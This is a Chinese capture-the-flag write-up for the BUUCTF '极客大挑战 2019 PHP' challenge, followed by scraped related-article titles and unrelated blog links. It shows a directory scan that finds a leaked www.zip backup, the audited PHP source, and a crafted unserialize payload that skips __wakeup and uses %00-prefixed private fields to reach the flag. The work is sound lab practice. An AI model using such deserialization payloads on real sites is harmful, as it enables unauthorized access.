打开靶机URL
看到字面提示
因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯不愧是我!!!
说明该网站有备份,说不定放在了Http服务器的某个目录下
那么这里我们可以用dirsearch 扫描一下这个服务器
执行命令
dirsearch -u http://2999dfd5-1d43-4a81-a088-9e41c9dccab4.node4.buuoj.cn/ -e php > test.log
最后在log文件中找到一个 200 www.zip
浏览器输入一下url,直接下载下来
http://2999dfd5-1d43-4a81-a088-9e41c9dccab4.node4.buuoj.cn/www.zip

里面有三个php文件: index.php class.php flag.php

index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
这里有一个反序列化的操作,说明这题还考差了php反序列化漏洞的知识点
再看class.php
<?php
include 'flag.php'; error_reporting(0); class Name{
private $username = 'nonono';
private $password = 'yesyes'; public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
} function __wakeup(){
$this->username = 'guest';
} function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
代码审计可知 username 为 admin,password位100,对象析构时就会加载flag,从而加载系统变量,最终很可能打印flag

于是构造反序列化代码

<?php

class Name{
private $username = '123';
private $password = '456'; public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a)); ?>

保存,然后获得序列化后的字符串:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

于是我们将参数值给select,这时候问题来了,在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们

的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct

在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),去执行__destruct

于是我们这样构造pyload:

?select=O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然后我们又意识到,这个变量时private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字

段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

于是我们在构造一回pyload:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
BOOM 得到flag: flag

[BUUCTF][WEB][极客大挑战 2019]PHP 1的更多相关文章

  1. BUUCTF(十一)[极客大挑战 2019]Knife

    BUUCTF系列 想着应该不会这么简单吧... 结果就是这么简单ee 疯狂暗示... url:xxx/index.php 密码:Syc 连接成功... cd / ls cat flag

  2. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  3. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  4. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  5. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  6. BUUCTF(八)[极客大挑战 2019]LoveSQL

    BUUCTF 1.打开题目 注入方法可参考NewsCenter 2.测试注入点 username: 1'or'1=1 password: 1'or'1=1 登录成功,说明存在注入漏洞. 下面测试位点个 ...

  7. BUUCTF [极客大挑战 2019]Not Bad

    总的来说这是一个64位orw的题 开头先在主函数里分配了一个很大的空间 1 __int64 __fastcall main(int a1, char **a2, char **a3) 2 { 3 mm ...

  8. 极客大挑战 2019 web 部分解

    复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...

  9. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

  10. [极客大挑战 2019]FinalSQL

    0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(sc ...

随机推荐

  1. [转帖]TiDB的tikv节点的压缩算法

    简介:TiDB的tikv节点实用的RocksDB,RocksDB的默认压缩算法为:[no:no:lz4:lz4:lz4:zstd:zstd] RocksDB 每一层数据的压缩方式,可选的值为:no,s ...

  2. Oracle AWR学习之二-利用ChatGPT编写一键获取AWR报告的脚本

    Oracle AWR学习之二-ChatGPT提升效率之n 背景 之前生成awr报告比较麻烦, 想着能够一键生成. 再辅以部分shell或者是python处理就可以进行细致的分析. 这一块其实还是比较简 ...

  3. 【转帖】16.JVM栈帧内部结构-局部变量表

    目录 1.局部变量表(Local variables) 1.局部变量表(Local variables) 1.局部变量表也称为局部变量数组或本地变量表. 2.局部变量表定义为一个数字数组,主要用于存储 ...

  4. 热更新适配ibatis原理浅析

    一.热更新解决了什么问题? 在研发过程中,每个研发同学在联调.自测阶段中总会频繁的去执行编译.构建.打包的动作,遇到比较大的项目,执行一套流程下来,往往需要3-10分钟左右,极大的降低了研发的速度,基 ...

  5. RedisSyncer同步引擎的设计与实现

    RedisSyncer一款通过replication协议模拟slave来获取源Redis节点数据并写入目标Redis从而实现数据同步的Redis同步中间件. 该项目主要包括以下子项目: redis 同 ...

  6. 一招轻松解决node内存溢出问题

    node启动项目造成内存溢出的解决办法 我们在使用node启动项目的时在项目较大的时候,可能会造成内存溢出.为什么会造成内存溢出呢? 要回答上面这个问题,我们要了解node中是如何分配内存的. Nod ...

  7. Java中YYYY-MM-dd在跨年时出现的bug

    先看一张图: Bug的产生原因: 日期格式化时候,把 yyyy-MM-dd 写成了 YYYY-MM-dd Bug分析: 当时间是2019-08-31时, public class DateTest { ...

  8. C++ Qt开发:数据库与TableView多组件联动

    Qt 是一个跨平台C++图形界面开发库,利用Qt可以快速开发跨平台窗体应用程序,在Qt中我们可以通过拖拽的方式将不同组件放到指定的位置,实现图形化开发极大的方便了开发效率,本章将重点介绍TableVi ...

  9. 14.6 Socket 应用结构体传输

    当在套接字编程中传输结构体时,可以将结构体序列化为字符串(即把结构体的所有成员打包成一个字符串),然后将字符串通过套接字传输到对端,接收方可以将字符串解析为结构体,然后使用其中的成员数据.这种方法通常 ...

  10. SpringBoot分布式任务中间件开发 附视频讲解 (手把手教你开发和使用中间件)

    作者:小傅哥 博客:https://bugstack.cn 沉淀.分享.成长,让自己和他人都能有所收获! 分布式任务DcsSchedule中间件,Github地址:https://github.com ...